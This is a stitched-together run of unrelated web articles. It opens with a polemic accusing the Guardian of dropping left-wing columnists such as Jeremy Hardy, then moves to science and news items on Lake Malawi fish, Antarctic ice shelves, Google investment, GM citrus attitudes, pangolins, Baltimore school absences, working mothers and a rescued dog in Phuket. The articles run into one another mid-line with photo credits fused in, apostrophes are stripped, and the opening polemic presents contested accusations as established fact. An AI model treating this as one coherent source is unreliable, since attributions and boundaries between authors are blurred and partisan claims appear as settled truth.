It is ironic, but entirely apt, that the Guardians obituary noted that Hardy wrote a column for the paper between 1996 and 2001, but neglected to mention that he was dropped for being too left-wing.

In his final, potent column on 4 April, 2001 Hardy had written:

Some of you will be relieved to know that this is the last column I shall be writing for the Guardian. Others may be sorry, and I thank you for that. I have been told that my column has run its course, which is a self-fulfilling accusationalso told that I shouldnt use the column as a platform for the Socialist Alliance.

By contrast, commentators  including those holding senior Guardian positions  have not been told to stop using their columns as a platform for the apartheid Israeli state, neoliberalism or Western intervention around the world.

Hardy crammed in many astute observations that make poignant reading now, 18 years later. He rightly observed that:

most of the exciting developments in politics are happening outside the electoral orb.

Ironically, it was grassroots pressure outside Parliament and the electoral orb that enabled Jeremy Corbyn to be elected Labour leader and pull off results in the 2017 General Election that stunned seasoned political analysts. Consider, too, the recent Extinction Rebellion movement that is literally campaigning for the survival of the human species  precisely because electoral politics has utterly failed; or rather succeeded in entrenching the interests of a right-wing, super-rich and powerful elite.

Hardy warned presciently of the dangers of the Lib Dems attaining power in a coalition  which they did after the 2010 General Election, propping up an extremist Tory-led government. He also pointed to the emasculation of the trade union movement:

For me to write this will appal those socialists who still hold the line that Labour is the party of the organised working class, but I think its time to replace the word working with capitalist, and try the sentence again. Trade unionists put tremendous effort into the relationship but its an abusive one. Im sure union leaders will say, But Tonys not like that when hes with me, but theyre just throwing money at the problem.

Ex-Guardian journalist Jonathan Cook commented via Twitter:

Fascinating reading now the late comedian Jeremy Hardys last column for the Guardian in 2001. He admits he was pushed out for refusing to use humour simply to provoke a postmodern chuckle and for being too outspoken against Tony Blair, who would go on to wage illegal war in Iraq.

When we highlighted on Twitter that the Guardians Jeremy Hardy obituary had omitted the uncomfortable fact that the paper dropped him for being too left-wing, the deputy obituaries editor of the Telegraph retorted:

He wasnt dropped for being too left-wing. He was dropped for not putting in enough jokes. Read the column

In fact, anyone reading the column beyond the first paragraph would have noted the crucial part when Hardy said he was told that I shouldnt use the column as a platform for the Socialist Alliance. It was clear from reading the whole column, and using common sense to read between the lines, that Hardy had indeed been dumped by the Guardian for his left-wing views. Hardys first wife, Kit Hardy, confirmed this:

As his wife at the time, I can vouch that he was dropped for being too left wing. It wasnt about jokes. Hed have been kept on without jokes if hed been willing to write inconsequential nonsense. He wasnt.

Guardian readers with a long memory may recall that comedian Mark Steel, a good friend of Jeremy Hardy, had earlier been ditched by the Guardian in 1999, after contributing a column for over two years, for his unflinching support of unfashionable left-wing causes such as striking Liverpool dockers. A more recent example of a progressive columnist being dumped by the Guardian is the 2014 defenestration of Nafeez Ahmed for overstepping the mark in his critical reporting of Israel.

Eventually, even the hugely-respected, award-winning journalist John Pilger, with an unparalleled record of reporting the truth from the ground up, became persona non grata at the Guardian. He said in a radio interview in January 2018:

My written journalism is no longer welcome in the Guardian which, three years ago, got rid of people like me in pretty much a purge of those who really were saying what the Guardian no longer says any more.

And yet, the Guardian continues to employ, for example, Luke Harding who abruptly left an interview by Aaron Mate on The Real News Network when he was challenged to provide convincing evidence of the collusion referred to in the title of his book, Collusion: Secret Meetings, Dirty Money, and How Russia Helped Donald Trump Win. Harding was also behind the fake Guardian exclusive last December that Paul Manafort, Donald Trumps former campaign manager, had met Julian Assange three times in the Ecuadorian embassy in London. Harding and the papers editor Katharine Viner have shamefully remained silent in the face of robust questioning of their CIA-friendly propaganda story that appears to have no basis in reality.

US comedian Jimmy Dore, interviewed on RTs Going Underground by Afshin Rattansi, who previously worked at the BBC, said scathingly:

Well, the Guardian has been doing fantastic work on this story. Fantastic meaning fantastic fantasies because the most surveilled building in the world has got to be that Ecuadorian embassy. And, somehow, the Guardian has a story that Manafort visited Julian Assange three times, and even knew what he was wearing, but there isnt a picture of it.

Dore concluded of the Guardian:

Theyre pushing propaganda; theyre not doing journalism.

Dore also pointed to extremely well-paid, supposed progressives in the US who have high-profile slots on US networks such as MSNBC:

You know how much MSNBCs Chris Hayes or Rachel Maddow makes? They make $30,000 a day. Thats a lot of money and that buys your integrity.

He added, echoing his comments about the Guardian on Assange:

Its just CIA talking points. In fact, they hire people from the CIA to be their news analysts. Thats the opposite of journalism, thats propaganda.

On a recent MSNBC show, Maddow even speculated that, with parts of the US shivering in sub-zero conditions, the Russians or the Chinese might launch cyber attacks on vital pipelines and the power grid. This grotesque Red-scaremongering was justified as the intelligence communitys assessment.

She asked:

What would happen if Russia killed the power in Fargo today? What would you do if you lost heat indefinitely as the act of a foreign power on the same day the temperature in your backyard matched the temperature in Antarctica?

Dore rightly pointed out how this nonsense is but a part of the huge current wave of anti-Russian propaganda that is even worse than the anti-Red hysteria of the McCarthy era in 1950s US. Why worse?

Because its being pushed ubiquitously. The first Red Scare in the States came from the right. Well, the left is now pushing the Red Scare because they dont want to admit that neoliberalism failed at the ballot box in 2016. 90 million people didnt come out to vote in that election in 2016. And Hillary Clinton, the biggest, most well-funded political machine in the history of the United States lost the election to a political novice gameshow host who everyone referred to as a joke and a clown: Donald Trump.

Dore said of MSNBC management:

They wouldnt even let their hosts cover Bernie Sanders [in the race to become 2016 Democratic Presidential candidate, losing to Hillary Clinton] because he was progressive. In fact, Ed Schultz got fired for covering Bernie Sanders.

He continued:

That tells you that all the people on air at MSNBC go along with war propaganda when told to, and dont cover progressive politicians when ordered [not] to. Every one of those hosts goes along with the edict from the top of the corporation Comcast [owners of MSNBC] to tell them what they can talk about, and how they can talk about what they can talk about. Theyre all puppets and theyre bought.

In a similar way, although with much lower salaries, the silence of Guardian commentators on numerous issues has also, in essence, been bought. Not a single one, as far as we can tell, has called out the Guardians fake Manafort-Assange story. Not a single one has castigated the Guardian over its long-running cynical vendetta against Assange and WikiLeaks. Not a single one has exposed the Guardians editorial line that upholds the myth that Western foreign policy is largely determined by concerns over universal human rights, democracy and development. Not a single one has made any significant criticism of the Guardians actual role in setting the limits of acceptable news and commentary at the liberal end of the media spectrum.

Complicit In Western Imperialism And Rampant Capitalism

To do proper journalism on vital topics  not least UK war crimes  seemingly requires that one leaves the Guardian to do so. Thus, Ian Cobain, formerly a senior Guardian reporter, recently published a shocking exclusive on the Middle East Online (MEE) website that the British army permitted shooting of civilians in Iraq and Afghanistan:

Soldiers who served in Basra in 2007 say they were told they could shoot anyone holding a phone or a shovel, or acting in any way suspiciously. The British army operated rules of engagement in Iraq and Afghanistan that at times allowed soldiers to shoot unarmed civilians who were suspected of keeping them under surveillance, a Middle East Eye investigation has established. The casualties included a number of children and teenage boys, according to several former soldiers interviewed by MEE.

Cobain continued:

a former Royal Marine says that one of his officers confessed to his men that he had been responsible for the fatal shooting of an Afghan boy, aged around eight, after the childs father carried his body to the entrance of their forward operating base and demanded an explanation.

Why has this not made front-page news in the Guardian or elsewhere in the British press, as far as we are aware? Likewise, needless to say, youd be hard-pushed to find honest and disturbing accounts of UK war crimes making the headlines on BBC News at Ten.

Last November, Cobain reported that UK spy agencies knew that an important source of false Iraq war intelligence, a Libyan militant called Ibn al-Sheikh al-Libi, had been tortured. Cobain observed that UK government ministers relied upon his answers to help justify the 2003 invasion of Iraq. Again, Cobains piece appeared on the MEE website.

As Jonathan Cook said:

Interesting that the award-winning author of this article, Ian Cobain, used to work at the Guardian. Why is that writers like this, who are so effective at digging up the dirt on western intelligence agencies, no longer seem to find a home at the Guardian?

Meanwhile, as historian Mark Curtis pointed out, the Guardian continues its love affair with Tony Blair, the former Prime Minister who led this country into war on a false premise, leading to the deaths of around one million Iraqis:

The man who oversaw this criminality and public deception campaign has another article in the Guardian today  Blair is loved by the Guardian, the Anglo-American power elites main liberal asset in the UK.

That this keeps happening, and that the British public is routinely soaked in pro-war propaganda, exposes the untruth that there is genuine media oversight and regulation in the UK. Ofcom claims that:

We keep an eye on the UKs telecoms, television, radio and postal industries to make sure theyre doing the best for all of us.

Really? For all of us? How does this square with the incessant media propaganda pumped out about Venezuela, currently threatened by Western power?

As John McEvoy noted for The Canary in a devastating, in-depth account of the Guardian:

it has a long record of smearing the Venezuelan government, supporting opposition power grabs, and presenting Western intervention as a noble solution. In doing so, it is complicit in offering moral authority to the current coup attempt in Venezuela, and therefore complicit in Western imperialism.

On 1 February, the Guardian published its first ever news piece written by a bot. A cynic, or perhaps a realist, might suggest that all Guardian news pieces on WikiLeaks, Venezuela and much else besides, might as well be written by bots. Depending on the source material fed to the bots, of course, they may well be more accurate and less propaganda-filled than the efforts spewed out by obedient, careerist, power-serving humans.

Journalist Matt Kennard, formerly a Financial Times reporter, has warned of:

how corporate media works to drain young journalists of idealism and infects them with an ideology they cant even see (thats the beauty of it).

In the afterword to his 2016 book, The Racket: A Rogue Reporter vs. the Masters of the Universe, he expanded his thoughts. First, he defined the racket:

an amalgamation of different players, including transnational corporations, banks, hedge and mutual funds, and insurance companies; in effect, the many different concentrations of private wealth we have in our society. We often dont know the names of the people who run these institutions, but they hold the real power in our world, and are backed by the U.S. government, and as a last resort the U.S. military. But the racket is nothing without the media.

This echoes our arguments, rooted in the pioneering work of Edward Herman and Noam Chomsky in Manufacturing Consent (Vintage, 1988) that, in the current era of extreme climate instability:

The corporate media, including the liberal media wing, is a vital cog of the rampant global capitalism that threatens our very existence. (Propaganda Blitz, Pluto Books, 2018, p. 213)

What happens to graduates who enter these corporate media outlets? Kennard warned:

As I saw young journalists coming up in the industry I noticed opinions changing or moderating as they became acclimatized to the institutionsslowly, you stop expressing opinions that are different from everyone elses, shed any previously held idealism. If you do carry on thinking as before, you quickly become a maverick or, even worse, immature and childish. Its hard to go into work every day for a whole career under this kind of groupthink pressure and stay sane.

After Kennard left the Financial Times, he tried contributing to the Guardian. He soon discovered that progressive outlets like the Guardian and the New York Times:

are vital to maintaining the facade of a free and fair media. They give the impression of fighting against the racket when in fact they support it in the fundamentals.

The Guardian is:

among the most biased and self-righteous institutions aroundfull of private-school-educated Oxbridge graduates who see themselves as crusading liberals fighting against corporate and state power. But if you step a bit to the left of them, you will know about it. They guard their left flank religiously, instructing the world that anyone operating there is beyond the pale.

Is it any wonder that over the past two decades, the liberal Guardian has shed reporters and columnists deemed to have been operating beyond the pale? Is it any wonder that it has exploited fake news about an antisemitism crisis under Jeremy Corbyns Labour? For anyone who cares about journalism that truly challenges the elite consensus, it is long past time to dump the Guardian, break the corporate media monopoly and support real progressive journalism instead.

(h/t image @fivefilters)

DCUnderwater world of Lake Malawi. Credit: Shutterstock/Radek Borovka

An estimated 9% of the 458 fish species assessed in Lake Malawi are at high risk of extinction. This is worrying, not least because the lake, and the fish species that occupy it, are very unique.

With more than 1000 fish species, Lake Malawi has more distinct fish species than any other lake in the world. New species are discovered regularly and some scientists believe that the lake may contain more than 2000 species. As a result of this exceptional diversity the lake is considered a global biodiversity treasure because almost all of the species that it contains occur nowhere else on the planet.

Lake Malawi is immense. Located between Malawi, Tanzania and Mozambique, it covers an area of more than 29,000 square kilometres, and holds 7% of the world's available surface freshwater. Despite this Lake Malawi is under threat. Human activities, like deforestation in the lake's catchment area and over-fishing, are taking their toll on the lake. A recent assessment by the International Union for Conservation of Nature (IUCN) listed 9% of its evaluated species as "endangered".

This is worrying not only from a biodiversity perspective, but also because this is one of Africa's poorest regions and people rely on the fish for their livelihoods and for food.

Trading fish at Cape Maclear, Lake Malawi. Credit: Shutterstock/Dietmar Temps

The reasons

What happens on land affects the lake. Increasing agricultural activity in the lake's basin has caused soil erosion and sediments end up in the water. This affects water clarity, light penetration and, on settling, it smothers plants and algae  ultimately, harming the food resources on which fish depend.

Over-fishing has led to less diversity in the kinds of fish that are caught and has reduced the amount of fish caught by individual fishers. This is particularly true in the larger, more valuable, species.

The worst hit fish species are migratory endemic cyprinids, such as the critically endangered Ntchila. These fish migrate into rivers to spawn and so depend on the health of rivers that feed into the lake for their survival. Once abundant, this species has almost disappeared mainly because of the degradation of river catchments and sedimentation that smothers the gavel beds that they need for spawning.

The Chambo, a species of endemic tilapia, is also under pressure. This fish is highly prized as a food fish but, because of unsustainable fishing practices, catches have plummeted. Today they are less than 10% of their historic high in the late 1980s when more than 10 million kgs of Chambo were landed by small scale fishermen every year.

Chambo. Credit: Shutterstock/John Lindsay-Smith

As a result, fisheries increasingly focus on smaller, less valuable species to sustain catches. When these smaller species were also eventually depleted, fishers were forced to go further offshore where it's harder for fishermen to catch fish and those that they do are of lower value. This puts a severe strain on fishers, many of whom are already some of the poorest members of society.

Unfortunately it's very difficult for the riparian countries, with their large population of relatively poor people who are locked into a natural resource-based economy, to reduce their dependency on the fisheries. And so, the overriding cause for all these effects is the poverty of the lake shore communities.

Freshwater crisis

Freshwaters  and the animal and plant life that they contain  are in a state of crisis across the world. The fundamental driver of their degradation is the growth of human activity due to population growth, increased industrialisation and increased consumption of natural resources over the last century. As a result, the current rates of population decline in freshwater species are twice as high as those reported for marine and terrestrial life.

But there's hope. In Malawi, where fish and fisheries are high on the national agenda, initiatives such as the IUCN Red-List assessment and Key Biodiversity Area identification projects which assess the status and distribution of freshwater species, help to guide policy and prioritise conservation actions.

Explore further Lake Victoria biodiversity being 'decimated': conservationists

This article is republished from The Conversation under a Creative Commons license. Read the original article.Alison Banwell wades through a meltwater lake to retrieve a pressure sensor at the end of the field season. Credit: Grant Macdonald

For the first time, a research team co-led by CIRES-based scientists, has directly observed an Antarctic ice shelf bending under the weight of ponding meltwater on top, a phenomenon that may have triggered the 2002 collapse of the Larsen B ice shelf. And ice shelf flexure could potentially impact other vulnerable ice shelves, causing them to break up, quickening the discharge of ice into the ocean and contributing to global sea level rise.

"Scientists have been predicting and modeling this process for some time, but nobody has ever collected field data that showed it happening until now," said Alison Banwell, CIRES postdoctoral visiting fellow and lead author on the new study published today in Nature Communications.

Banwell, formerly at the Scott Polar Research Institute at the University of Cambridge, and her team were inspired to look closer at the causes of ice shelf weakening after analyzing the catastrophic break up of the Larsen B ice shelf. That breakup made headlines in 2002 as 1,250 square miles of ice broke away into the ocean; the scientists noticed that in the months leading up to the breakup, the ice shelf was dotted with over 2000 meltwater lakes.

"During the melting season, lakes may form on the surface of ice shelves, pooling the weight of melting snow and ice into many areas of liquid water," said coauthor Ian Willis, CIRES sabbatical visiting fellow also from SPRI at Cambridge.

Meltwater lakes can contain water weighing fifty thousand to two million tons each, and that pushes downward on the ice, creating an indent. If the lake drains, this indent pops back up. If the resultant stress is large enough, the ice surrounding the lake basin weakens, and may start to break, the researchers predict.

To measure just how much these meltwater lakes were distorting the floating Antarctic ice, Banwell, Willis, and co-workers at the University of Chicago led by Doug MacAyeal first had to scout out where they thought the lakes would develop "We looked for depressions on the surface of the ice shelf, which combined with studying satellite images, helped us to anticipate where the lakes would form when the melt season began." said Willis.

The team identified four lake basins to outfit with GPS sensorsand gave them imaginative names. There was "Peanut," shaped like a double peanut in its shell, and "Wrong Trousers," named after the long waders Banwell wore to access the middle of a deep lake; the waders resembled the mechanical pants from the claymation film Wallace and Gromit: The Wrong Trousers.

In November 2016 before the melt season began, the team drove snowmobiles from the U.S. McMurdo Station over the frozen sea ice to access their fieldsite on the McMurdo Ice Shelf, pulling hundreds of pounds of equipment on sleds. At the four lakes, they installed self-contained instruments containing high precision GPS stations, to measure vertical elevation, and pressure sensors to measure lake water depthseach fixed on a metal pole drilled over six feet deep into the ice. Three months later, they flew via helicopter to retrieve the instrumentsby then, the sea ice was too thin to support the weight of a vehicle.

The team found that, at the center of each lake, the ice shelf moved down then up by around three to four feet in response to each lake filling then draining. But around 1500 feet from each lake there was virtually no vertical movement at all. Although this bending did not cause the McMurdo Ice Shelf to fracture, the team used modeling to predict that slightly larger lakes in closer proximity could trigger fracture. "That's most likely what happened to Larsen B in 2002," Banwell said.

"And climate models predict that there will be more melting across more ice shelves over the next few decades, leading to an increase in the occurrence of meltwater lakes," added Willis.

"These observations are important because they help us better understand the triggers of ice shelf break up, which leads to sea level rise," said Banwell. "Our results can be used to improve models to better predict which ice shelves are more vulnerable and are most susceptible to collapse."

Explore further Research trio offer new explanation for breakup of Larsen B Ice ShelfGoogle CEO Sundar Pichai says the tech giant will invest some $13 billion this year for expansion in the United States

Google said Wednesday it will invest $13 billion in US data centers and offices this year as the internet giant continues to expand across the country.

The spending will build on more than $9 billion in US investments in the past year and should create the potential for tens of thousands of new jobs, according to chief executive Sundar Pichai.

"This growth will allow us to invest in the communities where we operate, while we improve the products and services that help billions of people and businesses globally," Pichai said in an online post.

"Our new data center investments, in particular, will enhance our ability to provide the fastest and most reliable services for all our users and customers."

Investments this year will focus outside of Silicon Valley where Google has its home, and give the company outposts in 24 states.

This will be the second year in a row that Google will "be growing faster outside the (San Francisco) Bay Area than in it," Pichai said.

Google last year hired more than 10,000 people in the US, according to the company.

The internet giant is also making significant investments in renewable energy to power US operations, Pichai said.

The move follow major investments or expansions from other US tech giants including Apple and Amazon, both moving beyond their existing headquarters.

Google's parent company Alphabet last year said it was investing more than $1 billion to set up a new campus in New York City.

 2019 AFPUniversity of Illinois agricultural communications professor Taylor Ruth was a member of a research team that studied American consumers' attitudes toward genetic modification science in hopes of saving the US citrus industry from citrus greening disease. Credit: L. Brian Stauffer

A tiny insect, no bigger than the head of a pin, is threatening to topple the multibillion-dollar citrus industry in the U.S. by infecting millions of acres of orchards with an incurable bacterium called citrus greening disease.

The battle to save the citrus industry is pitting crop producers and a team of agriculture researchersincluding agricultural communications professor Taylor K. Ruth of the University of Illinoisagainst a formidable brown bug, the Asian citrus psyllid, which spreads the disease.

Trees infected with the disease, also called Huanglongbing or HB, bear small, misshapen, bitter-tasting green fruit and often die within five years. Currently, there's no known cure for the disease, which has cost the U.S. citrus industry billions of dollars in crop production and thousands of jobs since it was first identified in Florida in 2005, according to agriculture experts.

Among other solutions, scientists are exploring the possibility of breeding genetically modified trees that are resistant to the disease.

But given the controversy over the safety of genetically modified food, scientists need to know whether producers will adopt this technology and whether shoppers will buy and consume GM citrus fruit.

A recent study, funded by the U.S. Department of Agriculture, provides some encouraging answers.

Ruth was on a team of scientists from several universities that surveyed a representative sample of U.S. consumers and conducted focus groups to better understand American consumers' attitudes about GM food and agriculture.

About half of the 1,050 people who responded to the survey had positive attitudes toward GM science, the researchers found. Nearly 37 percent of the consumers surveyed felt neutral about GM science and 14 percent had negative perceptions of it.

Most of the people who were receptive to GM science were white males who were millennials or younger, the data indicated. They were highly educatedmost held a bachelor's degree or higherand affluent, with annual incomes of $75,000 or greater.

Women, on the other hand, constituted 64 percent of the group with negative feelings about GM science. Baby boomers and older adults were nearly twice as likely to fall into this group. People in this group also were less educatedabout half reported some college but no degree.

The findings were published recently in the journal Science Communication. Co-authors of the paper were Joy N. Rumble, of Ohio State University; Alexa J. Lamm, of the University of Georgia; Traci Irani, of the University of Florida; and Jason D. Ellis, of Kansas State University.

Since social contexts influence public opinion on contentious issues, the survey also assessed respondents' willingness to share their opinions about GM science, their current perceptions of others' views on the topic and what they expected public opinion about it to be in the future.

The research team was particularly interested in exploring the potential impact of the "spiral of silence" theory, a hypothesis on public opinion formation that states in part that people who are highly vocal about their opinions in public encourage others with similar views to speak out while effectively silencing those who hold opposite views.

"If people believe the majority of others disagree with them on a topic, they will feel pressure to conform to the majority opinion," Ruth said.

"People aren't going to be supportive of something if nobody else is supportive of itno one wants to feel like they are different from the group. That's the reality of the world that we live in today."

By contrast, people surveyed who rejected GM science were more likely to express their opinion when they believed others held the opposite view. But people with positive feelings about GM technology were less likely to speak out when they believed others supported it too.

"The way others express their attitude has an indirect effect on what our attitude ends up being," Ruth said. "We might fall in the actual majority opinion about some of these complex topics, but if other people aren't vocalizing their opinions, we don't know that others out there are like-minded.

"Then we start to think 'Well, maybe I should realign my attitude to what I'm seeing in the media.' What we see in the media is just reflective of the most dominant voice in the conversation, not necessarily the majority opinion. And I think sometimes people don't quite understand that."

Like climate change, GM science is among the complex challenges that some researchers call "wicked issuessocietal problems that are often poorly understood and fraught with conflict, even when the public is provided with relevant science and facts, Ruth, Rumble, Lamm and Ellis wrote in a related study.

That paper was published recently in the Journal of Agricultural Education.

"We must have these conversations about these wicked issues," Ruth said. "If scientists let other people who don't have a scientific background fill the void, we're not going to be a part of that conversation and help people make decisions based upon all of the facts."

Explore further Yellowdragon threatens Florida citrus

More information: Taylor K. Ruth et al, Are American's Attitudes Toward GM Science Really Negative? An Academic Examination of Attitudes and Willingness to Expose Attitudes, Science Communication (2018). Taylor K. Ruth et al, Are American's Attitudes Toward GM Science Really Negative? An Academic Examination of Attitudes and Willingness to Expose Attitudes,(2018). DOI: 10.1177/1075547018819935Credit: Chester Zoo

Researchers from a British Zoo on Wednesday released rare footage revealing the secret lives of giant pangolins, considered one of the world's most trafficked mammals.

The footage of the creatures, captured by Chester Zoo conservationists, shows a pangolin, known as scaly anteaters for their protective armour, sitting on its powerful tail while grasping a tree with its claws.

Meanwhile in another segment observed by the remote-operated cameras, a baby clings to the back of an adult as it rummages through bushes.

Researchers hope the imagery could provide new insights into the secretive nocturnal species only found in equatorial Africa, which are being pushed to extinction by illegal hunting for its scales and meat.

"With no giant pangolins in zoos or safari parks anywhere in the world, all our conservation efforts must focus on saving them in the wild," Stuart Nixon, Chester Zoo's Africa field programme and research lead.

"The race is on against criminal networks that only value dead pangolins, to save this species and protect them well into the future."



MUST WATCH

Very rare NEW footage of GIANT PANGOLINS in the wild.

Pangolins - the world's most trafficked mammals - are being pushed to extinction. But zoo conservationists are conducting the FIRST pangolin study in Uganda. Vital data could help us prevent their extinction. pic.twitter.com/lkEPRmNL3O  Chester Zoo (@chesterzoo) February 13, 2019

The footage was captured by 70 motion-sensor trail cameras installed by the zoo's team at Uganda's Ziwa sanctuary, in east Africa.

The giant pangolins, one of four species in Africa, live there alongside protected rhinos but are increasingly threatened by poaching.

"Being nocturnal, rare and very shy it's only with new technologies such as high sensitivity trail cameras that we are able to learn more about how they live and interact with each other and their environment," added Nixon.

Sam Mwandha, the executive director of the Uganda Wildlife Authority, hailed the rare glimpses of the giant pangolins as "very exciting".

He stressed the need to "protect and conserve this highly threatened species for future generations".

Explore further Malaysia makes record 30-tonne pangolin seizure

 2019 AFPA map displaying student transit hubs and violence in Baltimore, Maryland. Credit: Julia Burdick-Will/Johns Hopkins University

The more crime that occurs along a student's way to school, the higher the likelihood that student will be absent, Johns Hopkins University researchers found.

By modeling the most efficient routes to school for Baltimore students, researchers found those who commute through areas with double the average amount of crime are 6 percent more likely to miss school. Even more crime-ridden routes to school led to proportionately more absenteeism. The findings, which demonstrate yet another way urban violence effects school outcomes, appears [today] in the journal Sociological Science.

"Having to travel through dangerous streets is leading kids to miss school," said lead author Johns Hopkins sociologist Julia Burdick-Will. "Not showing up for school has important academic consequences and students who must prioritize their own personal safety over attendance have a clear disadvantage."

Researchers including Burdick-Will have shown that students exposed to violent crime have lower test scores and lower graduation rates. And chronic absenteeism has been linked to lower achievement, student disengagement and increased risk of dropping out.

Meanwhile families, especially those living in violent and disadvantaged neighborhoods, are increasingly choosing to send their children schools in different parts of town. But getting to these schools is often difficult. Many districts have cut back on traditional school busses and students must use public transportation. This means just showing up to school every day can mean long and difficult journeys through potentially dangerous streets, Burdick-Will says.

This is the first time anyone has attempted to gauge how neighborhood violence might influence school attendance.

Researchers first determined the quickest, most efficient route to school using public transportation for 4,200 first-time 9th-graders in Baltimore City public high schools. Then they linked those streets with crime data from the Baltimore Police Department.

The team found that students whose best route required walking or waiting for a bus in areas with higher violent crime rates had higher rates of absenteeism throughout the year. And the scary spots weren't limited to certain parts of townthey were essentially all over the city.

The average student went to school in a neighborhood where 87 violent crimes were reported during the academic year, but lived in a neighborhood where 95 violent crimes happened during the same time. Students pass streets on public transit where 41 violent crimes happened and passed streets on foot where there were 27 such crimes.

The relationship between exposure to violence during the commute to school and absenteeism provides important insights into the ways urban violence links to low achievement and high school dropout, the researchers conclude. Not only are students stressed and traumatized by violence in their communities, they say, they're missing school because of it.

"What if the closest bus stop isn't safe and you need a ride to a farther stop. Then what if what ride falls through? Do you risk it or walk really far or do you just not go to school," Burdick-Wills says. "Missing an extra day of school a year doesn't sound like a lot but these things add up."

Explore further Urban violence can hurt test scores even for kids who don't experience itStress and exhaustion dominate the lives of working mothers in the United States. And no wonder: Of all western industrialized countries, the U.S. ranks dead last for policies that support working mothers and their families.

Unlike those in most European countriesand practically every other industrialized nationAmerican mothers have no access to federal paid parental leave and no minimum standard for vacation and sick days.

Many American moms still struggle to raise families in a country with one of the highest gender wage gap and the highest maternal and child poverty rates.

Despite these disparities, work-family conflict is not an inevitable feature of contemporary life, argues Caitlyn Collins, assistant professor of sociology in Arts & Sciences at Washington University in St. Louis, and the author of a new book that details how the United States' exceptionally family-hostile public policies are hurting women and children.

In Making Motherhood Work: How Women Manage Careers and Caregiving, released Feb. 12 by Princeton University Press, Collins takes us into the kitchens, living rooms, parks, cafes, office cubicles and conference rooms where working mothers' daily lives play out in Sweden, Germany, Italy and the United States. She explores how 135 middle-class women navigate employment and motherhood given the different work-family policies available in each country.

Drawing on in-depth interviews with women in each country conducted over five years, Collins articulates just how crucial government policies and cultural support are to ensuring "work-family justice," which she describes as an assurance that "every member of society has the opportunity and power to fully participate in both paid work and family care."

Described by Publisher's Weekly as "intelligent, thought-provoking, and clarifying," "Making Motherhood Work" offers a clear, research-based argument that the U.S. is failing its mothers and families. America's mothers don't need more highly individualistic tips on achieving work-family balance. They need justice.

Blueprints for achieving these changes emerges readily from her intimate examination of the daily lives of working mothers across the four countries. Through side-by-side comparisons, she demonstrates that improving the lives of mothers and their families in the U.S. requires changes both in public policies and cultural attitudes.

In Sweden  renowned for its gender-equal policies  mothers assume they will receive support from their partners, employers and the government. In the former East Germany, with its history of mandated employment, mothers don't feel conflicted about working, but some curtail their work hours and ambitions.

Mothers in western Germany and Italy, where maternalist values are strong, are stigmatized for pursuing careers. Meanwhile, American working mothers stand apart for their guilt and worry.

And Collins reminds readers: these women are middle-class. They're the proverbial canaries in a coal mine for mothers' work-family conflict. Low-income women, too often racial/ethnic minorities, have far fewer resources to draw on and less support to reduce their stress than those Collins interviewed. So if middle-class mothers are engulfed in stress, less advantaged mothers' difficulties are likely far more acute.

Policies alone, Collins discovers, cannot solve women's struggles. Easing them will require a deeper understanding of cultural beliefs about gender equality, employment and motherhood. With women held to unrealistic standards in all four countries, the best solutions demand that we redefine motherhood, work and family.

As Harvard Business Review senior editor Alison Beard points out in a recent review of Making Motherhood Work, Collins' writing captures exceptionally poignant moments by transporting readers into the homes, neighborhoods and workplaces of the women she interviewed.

For example, Collins writes of Samantha, a Washington, D.C., lawyer, who before she had children was told that she could do anything, that she could be at the top of her field. That's a "load of crap," she said later. "I can't do everything. If I keep all the balls in the air, I'm broken."

And Donetta, a professor in Rome, recalls how her supervisor warned her not to get pregnant or her career would be over. So "at work," she explains, "you don't even mention your family.  You are pretending you don't have anything to do at home."

From women in the western German cities of Munich, Stuttgart and Heilbronn, Collins hears the terms "career whore" and Rabenmutter, or "raven mother," which refers to a selfish woman who abandons her young in the nest to fly off and pursue a career.

Collins demonstrates that policies alone do not fully account for or solve women's problems. Work-family policies, she argues, are symptomatic of larger cultural understandings of what is and isn't appropriate for mothers, and as such they play a role in reproducing the existing social order.

She shows that what mothers want and expect regarding work and family depend on their social context, as do the solutions they employ to alleviate their stress. She highlights how the larger cultural contextincluding beliefs about gender equality, employment and motherhoodis crucial for understanding and ameliorating mothers' difficulties.

"Women's perspectives should be central to any endeavors in the U.S. to craft, advocate for, and implement work-family policy as a force for social change," Collins said. "By gaining firsthand knowledge of how working mothers combine paid work with child-rearing in countries with diverse policy supports, I expose both the promise and the limits of work-family policy for reducing mothers' work-family conflict and achieving gender equality."

Adds Collins: "Working mothers' struggles to reconcile employment and motherhood, as well as the policy solutions to resolve this conflictare of urgent public concern. Our government depends on mothers. So why are we failing to support them?"After many a long walk on the tough surface of the roads through the heat and rain of Phuket, Toto, the dog who never gave up looking for his owner, eventually found in himself in Rawai, miles from where his journey began. Following weeks of roaming, he is now in the care of Soi Dog Foundation and ready to find a new home.



Toto, a 3 year old male dog, was abandoned in November 2018 when his owner returned to France and chose to leave his loyal, loving dog behind with somebody who couldnt take care of him properly or protect him from being abused by neighbours. The journey of this poor dog started that day. Somehow he escaped from the situation he was put in but nobody knows how he ended up at Chalong Pier, where he was found in December, or how much he had been through.

According to eye-witnesses, Toto repeatedly jumped on tour boats that were tied up to the pier every day and even jumped into the water, intent on following one of the boats in the hope of finding his owner. Sadly, he didnt realise he had been abandoned by the one he was looking for the whole time.

Later that month, he was reported to have disappeared from Chalong Pier.

Fortunately for Toto, a kind man from Finland noticed him after he was seen following some tourists from Soi Saiyuan 4 to Soi Saiyuan 10 in Rawai. Though he was not injured, Totos nails were completely worn out because of the distances he had run on the hard surface of the road, desperately searching for his family.

The man took Toto to rest at his house before sending him to Soi Dogs mobile clinic which was in Rawai at the time. Toto needed sterilizing and vaccinating. The vets in the clinic gave him a full health check and tick control treatment and declared him fit and healthy.

Toto had no tattoo on his ear but was wearing a black collar with a pink rubber band to identify him. He is incredibly friendly and craves affection and security. Everything about him says he is yearning for a loving home said his rescuer.

Sadly, I cannot adopt him as I am leaving for Europe soon but I will make sure he does not end up back on the streets, even if we fail to find a new home for him by that time. If you ever wanted a loving dog who would walk through fire for you, Toto is that dog.

Toto was transported to Soi Dog Foundation on February 7 and they have confirmed he is ready for adoption.

This beautiful dog deserves a home. He has been searching and searching and, clearly, the owner he was looking for doesnt deserve him. A great lesson here, dont take dogs in if you cant take them with you when you go. So many foreigners here take a dog thinking they are helping the dog but it is actually for selfish gain because when they leave the country, they think they can just leave the dog with someone else. There are so many cases like this. Its better to leave the dog on the street than to take them home for a short time only to abandon them, said John Higgs, a Board Member of Soi Dog Foundation.

Toto is waiting at Soi Dog Foundation for a second chance to become somebodys best friend. His only wish now is to have a caring family who can give him a place to call his own and a home where he really belongs.

Contact informatiion:

Soi Dog Foundation

